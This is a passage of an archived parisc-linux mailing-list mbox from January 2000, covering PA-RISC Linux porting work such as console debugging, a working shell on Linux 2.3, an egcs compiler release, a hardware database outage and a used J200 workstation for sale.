> Dino code to find the right place to add the offset, and any hints/help
> is appreciated.

dino_fixup_bus()

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Janker <thomas@janker.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] working system
Date: Wed, 19 Jan 2000 19:12:29 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3885FE8D.CD69BB67@janker.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618739 29785 80.91.229.3 (22 Nov 2014 01:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: thomas@janker.de  Wed Jan 19 12:12:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31247
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jan 2000 12:12:06 -0700
Original-Received: (qmail 3074 invoked by uid 15267); 19 Jan 2000 18:12:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3054 invoked from network); 19 Jan 2000 18:12:48 -0000
Original-Received: from server2.wrongway.de (209.201.95.163)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 18:12:48 -0000
Original-Received: from rgnb-m210-151.pool.mediaways.net ([62.52.210.151] helo=janker.de)
	by server2.wrongway.de with esmtp (Exim 2.11 #1)
	id 12AzWw-0002VQ-00
	for parisc-linux@thepuffingroup.com; Wed, 19 Jan 2000 19:08:30 +0100
X-Mailer: Mozilla 4.7 [de]C-CCK-MCD QXC03204  (WinNT; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:6730

Hi,

I'm new in this list, and I'm just beginning to work with
HP-Workstations. I've a HP 9000 715/100 and a HP 9000 735/125
workstation, both with no system on it.
Is there any other system, beside HP-UX and PaRisc Linux, that works on
this machines ?
I want to get an overview by installing a system that works without
problems. Later I want to get busy with PaRisc Linux.

Thanks in advance.

Thomas Janker


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carl Johnson" <cjs@mcn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J200
Date: Fri, 21 Jan 2000 10:18:09 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <000a01bf6433$7ea649c0$32fd08d0@br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01BF63F8.D0BDC480"
X-Trace: ger.gmane.org 1416618739 29788 80.91.229.3 (22 Nov 2014 01:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:19 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: cjs@mcn.net  Fri Jan 21 11:23:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17785
	for <parisc-linux@puffin.external.hp.com>; Fri, 21 Jan 2000 11:23:54 -0700
Original-Received: (qmail 2833 invoked by uid 15267); 21 Jan 2000 17:24:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2809 invoked from network); 21 Jan 2000 17:24:38 -0000
Original-Received: from missouri.mcn.net (root@204.212.170.3)
  by mailserv2.iuinc.com with SMTP; 21 Jan 2000 17:24:38 -0000
Original-Received: from br (pm3b-050.billings.mcn.net [208.8.253.50])
	by missouri.mcn.net (8.9.0/8.9.0) with SMTP id KAA22779
	for <parisc-linux@thepuffingroup.com>; Fri, 21 Jan 2000 10:24:38 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6731

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01BF63F8.D0BDC480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

This is probably the wrong place, but anyhow.

I bought a J5000 to replace my J200 last week and have a J200
for sale:

J200 (770/100)
128M
1GB
HCRX 24bit Graphics
20" Sony Trinitron (HP A4133A?)
HP KB & Mouse
HPUX 10.20 w/ media
(boots lastest linux CVS kernel via TFTP or local)

@ $695.00 US + S/H (UPS Ground $125) OR REALLY GOOD OFFER


------=_NextPart_000_0007_01BF63F8.D0BDC480
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>This is probably the wrong place, but=20
anyhow.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I bought a J5000 to replace my J200 =
last week and=20
have a J200</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>for sale:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>J200 (770/100)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>128M</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1GB</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>HCRX 24bit Graphics</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>20" Sony Trinitron (HP =
A4133A?)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>HP KB &amp; Mouse</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>HPUX 10.20 w/ media</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>(boots lastest linux CVS kernel via =
TFTP or=20
local)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>@ $695.00 US + S/H (UPS Ground $125) OR =
REALLY GOOD=20
OFFER</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0007_01BF63F8.D0BDC480--


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Minutes
Date: Wed, 19 Jan 2000 11:40:28 -0500
Organization: The Puffin Group
Lines: 37
Approved: news@gmane.org
Message-ID: <3885E8FC.5800EA9@thepuffingroup.com>
References: <200001150016.QAA16991@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618740 29790 80.91.229.3 (22 Nov 2014 01:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:20 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: adevries@thepuffingroup.com  Fri Jan 21 13:15:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA18616
	for <parisc-linux@puffin.external.hp.com>; Fri, 21 Jan 2000 13:15:20 -0700
Original-Received: (qmail 23130 invoked by uid 15267); 21 Jan 2000 19:16:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23110 invoked from network); 21 Jan 2000 19:16:02 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (root@209.52.43.22)
  by mailserv2.iuinc.com with SMTP; 21 Jan 2000 19:16:02 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA18453;
	Wed, 19 Jan 2000 11:40:28 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6732

Kirk Bresniker wrote:
> | 4. Martin has cleaned up the serial and console code.  He will commit his
> |    changes tomorrow after he's tested it.
> 
> In testing the 2.3 kernel on my D320/1 with an Access Port (AP) card as
> the console, printk() appeared to be broken.  The mprint() statements in
> the boot loader seem to function correctly, and the pdc_putc('.')  at
> the end of realmode_setup() works, but the printk() at the start of
> iodc_con_init() never outputs.  The chassis codes sent out in
> realmode_setup() do appear properly on the AP console.

I'm curious as to exactly what's in a D320, could you add this to the
hardware database at http://www.thepuffingroup.com/parisc/hw.html?

The console problems you're having are actually global to every machine,
not just yours.  I think we've solved several console problems, so you
may want to try again.

> Now the interesting thing in a D-Class with an AP card installed is that
> the RS-232 connector on the back of the machine is dis-connected from
> the LASI serial hardware and connected to the AP card hardware. Because
> of this, regardless of what console path is stored on the machine, the
> AP card console is what is used, so that there will always be console
> outptu. 

That's true of console output, since we can just use PDC calls. 
However, it's difficult or impossible to do console input with PDC
because we'd have to poll for new characters using PDC_CIN, which is a
bit of a pain.

- Alex

-- 
Alex deVries
Director of Professional Services
The Puffins at Linuxcare


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hardware.h vs machine.h
Date: Fri, 21 Jan 2000 17:54:04 -0800 (PST)
Lines: 69
Approved: news@gmane.org
Message-ID: <200001220154.RAA23821@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618740 29793 80.91.229.3 (22 Nov 2014 01:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Jan 21 19:52:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA20835
	for <parisc-linux@puffin.external.hp.com>; Fri, 21 Jan 2000 19:52:53 -0700
Original-Received: (qmail 26644 invoked by uid 15267); 22 Jan 2000 01:53:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26613 invoked from network); 22 Jan 2000 01:53:39 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2000 01:53:39 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (Postfix) with ESMTP id 7C2CADAF
	for <parisc-linux@thepuffingroup.com>; Fri, 21 Jan 2000 20:53:38 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA23821 for parisc-linux@thepuffingroup.com; Fri, 21 Jan 2000 17:54:04 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6733

Hi all,
Could someone explain why HPHW_NPROC (and friends) are defined in
both asm-parisc/hardware.h and asm-parisc/machine.h?

It seems the latter is obsolete...and both use
"ifndef _PARISC_HP_MACHINES_H_" to prevent multiple inclusion.

thanks,
grant

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 11:18:38 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id LAA02993
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 11:18:37 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 11:18:37 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id MAA08191
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 12:16:54 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id MAA20980
	for <pcj@primenet.com>; Fri, 12 Mar 1999 12:16:49 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd020950; Fri Mar 12 12:16:42 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA26778;
	Fri, 12 Mar 1999 14:16:28 -0500
Resent-Date: Fri, 12 Mar 1999 14:16:28 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
From: Steven Beattie <beattie@cse.ogi.edu>
Message-Id: <199903121916.LAA02012@church.cse.ogi.edu>
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
To: hppa-linux@thepuffingroup.com
Date: Fri, 12 Mar 1999 11:16:14 -0800 (PST)
In-Reply-To: <7DB180A629C1D211869F00A0C9F44A8C1805@retro-mail.fish.retrotech.com> from "Muench, David" at Mar 12, 99 09:23:58 am
X-Mailer: ELM [version 2.4 PL23beta2]
Content-Type: text
Resent-Message-ID: <"JuQ4o.0.JY6.CWMws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/181
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 9f4b0014db2ded4eb3a832bb53521585
Lines: 17
Xref: merlin.pcj.primenet.com palinux:152

> Boot test #4: This is essentially the same code as #3 but I have taken
> out some delays, modified the cache flush routines, and turned
> verbose (debug) mode back on. I want to make sure that not having the delays
> makes no difference and that no characters get dropped when there is a lot
> of text (as in debug mode). Please let me know if the test still passes
> as before. Hopefully this will be the last test for a while. Kernel work
> comes next.

Works like a champ on a 720/50 via rbootd. Much snappier than the third
bootstrap test.

Steve

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Harware database down?
Date: Sat, 22 Jan 2000 14:33:05 +0200 (EET)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0001221430240.14615-100000@gamgee.ntc.nokia.com>
References: <3885E8FC.5800EA9@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416618740 29795 80.91.229.3 (22 Nov 2014 01:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Sat Jan 22 06:32:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA24147
	for <parisc-linux@puffin.external.hp.com>; Sat, 22 Jan 2000 06:32:27 -0700
Original-Received: (qmail 5236 invoked by uid 15267); 22 Jan 2000 12:33:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5219 invoked from network); 22 Jan 2000 12:33:09 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2000 12:33:09 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3/o) with ESMTP id OAA14486
	for <parisc-linux@thepuffingroup.com>; Sat, 22 Jan 2000 14:33:07 +0200 (EET)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id OAA05140
	for <parisc-linux@thepuffingroup.com>; Sat, 22 Jan 2000 14:33:07 +0200 (EET)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id OAA02600
	for <parisc-linux@thepuffingroup.com>; Sat, 22 Jan 2000 14:33:06 +0200 (EET)
In-Reply-To: <3885E8FC.5800EA9@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6734

Hi,

Is there something wrong with the hardware database?  
I cannot access it (ERROR 312 -- Cannot connect to the server ). Other
pages in thepuffingroup.com/parisc work ok.

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Shell!
Date: Sun, 23 Jan 2000 20:22:40 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000123202240.Q1538@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618740 29796 80.91.229.3 (22 Nov 2014 01:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Jan 23 18:21:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA01933
	for <parisc-linux@puffin.external.hp.com>; Sun, 23 Jan 2000 18:21:39 -0700
Original-Received: (qmail 2895 invoked by uid 15267); 24 Jan 2000 00:22:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2883 invoked from network); 24 Jan 2000 00:22:24 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2000 00:22:24 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id UAA28824
	for parisc-linux@thepuffingroup.com; Sun, 23 Jan 2000 20:22:40 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6735


Ladies & Gentlemen, we have a shell on Linux-2.3.

In the end, it was a two line change to the ioctl definitions as Linux and
HPUX disagreed on _whose perspective_ input and output were from.  Argh.

"Guns aren't lawful
 Nooses give
 Gas smells awful
 You might as well live"


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <phil@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] egcs 2.9-hppa release
Date: Mon, 24 Jan 2000 01:01:53 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20000124010153.D8024@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618741 29800 80.91.229.3 (22 Nov 2014 01:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: phil@linuxcare.com  Mon Jan 24 03:04:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA04597
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jan 2000 03:03:57 -0700
Original-Received: (qmail 12502 invoked by uid 15267); 24 Jan 2000 09:04:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12489 invoked from network); 24 Jan 2000 09:04:45 -0000
Original-Received: from mg134-188.ricochet.net (HELO moiraine.off.net) (204.179.134.188)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2000 09:04:45 -0000
Original-Received: (from phil@localhost)
	by moiraine.off.net (8.9.3/8.9.3) id BAA02527
	for parisc-linux@thepuffingroup.com; Mon, 24 Jan 2000 01:01:53 -0800
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6736

Hewlett-Packard and Linuxcare are pleased to announce the release of egcs
2.9 for the PA-RISC processor.  The released source contains enhanced
support for 32-bit PA 1.1 processors and additional support for 64-bit
PA 2.0 processors.  The compiler and tools have been tested on multiple
releases of HP/UX, and have been shown to interoperate with Hewlett-Packard's
existing 64-bit toolchain.  Furthermore, the toolchain has been shown to
support cross-compilation of packages hosted on Linux/i386 with a 64-bit
PA-RISC target.  The release of this product will allow the PA-RISC
Linux porting effort to complete support for 32-bit and 64-bit ELF
binaries, as well as begin to compile 64-bit versions of the PA-RISC Linux
kernel; we anticipate that this support will be completed soon.

Though there are very few known bugs, there are almost certainly bugs
that are yet to be found.  Please direct bug reports and concerns to
gcc-info@thepuffingroup.com.  As bugs are fixed and features are added,
new snapshots will be posted to puffin.external.hp.com and
http://www.thepuffingroup.com/parisc/gcc.html

For now, the source is available only via ftp, from
ftp://puffin.external.hp.com/pub/parisc/src/egcs-2.9-hppa-991112.tar.gz
The source will soon be placed in the PA-RISC Linux cvs repository;
I'll notify the list when this takes place.

Go to it, hackers--

-Phil

-- 
Phil Schwan, Senior Linux Consultant, Linuxcare, Inc.
415.354.4878 x271 tel, 415.701.7457 fax
pschwan@linuxcare.com http://www.linuxcare.com/
Linuxcare.  At the centre of Linux.


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] userspace
Date: Mon, 24 Jan 2000 12:58:02 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20000124125802.W1538@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618741 29802 80.91.229.3 (22 Nov 2014 01:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Jan 24 10:56:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA07425
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jan 2000 10:56:53 -0700
Original-Received: (qmail 21112 invoked by uid 15267); 24 Jan 2000 16:57:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21087 invoked from network); 24 Jan 2000 16:57:43 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2000 16:57:43 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA31145
	for parisc-linux@thepuffingroup.com; Mon, 24 Jan 2000 12:58:02 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6737


i've decided to start keeping some userspace programs in cvs for your
joy and edification (and so i don't lose the only working sash source
code again.. duh).  set your CVSROOT as described on the parisc webpages
and `cvs co userspace'.  ifconf.c is the only one worth talking about,
and hopefully we'll have an ethernet driver to test it with RSN...


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@linuxcare.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harware database down?
Date: Mon, 24 Jan 2000 16:36:43 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com>
References: <Pine.HPX.4.21.0001221430240.14615-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618741 29805 80.91.229.3 (22 Nov 2014 01:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: dkennedy@linuxcare.com  Mon Jan 24 14:26:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08940
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jan 2000 14:26:23 -0700
Original-Received: (qmail 20995 invoked by uid 15267); 24 Jan 2000 20:27:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20969 invoked from network); 24 Jan 2000 20:27:10 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2000 20:27:10 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA18409;
	Mon, 24 Jan 2000 15:26:57 -0500
X-Sender: dkennedy@grasshopper.thepuffingroup.com
In-Reply-To: <Pine.HPX.4.21.0001221430240.14615-100000@gamgee.ntc.nokia.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6738

On Sat, 22 Jan 2000, Hannu Martikka wrote:

> Hi,
> 
> Is there something wrong with the hardware database?  
> I cannot access it (ERROR 312 -- Cannot connect to the server ). Other
> pages in thepuffingroup.com/parisc work ok.

It should be back up and running.  Can you please check it and see if
you are still having a problem.

Thanks.

-- 
David Kennedy
Senior Linux Consultant
Linuxcare


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harware database down?
Date: Tue, 25 Jan 2000 08:46:01 +0200 (EET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0001250844380.8250-100000@gamgee.ntc.nokia.com>
References: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416618742 29806 80.91.229.3 (22 Nov 2014 01:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "dkennedy@linuxcare.com" <dkennedy@linuxcare.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Tue Jan 25 00:45:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA12591
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 00:45:26 -0700
Original-Received: (qmail 3456 invoked by uid 15267); 25 Jan 2000 06:46:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3438 invoked from network); 25 Jan 2000 06:46:17 -0000
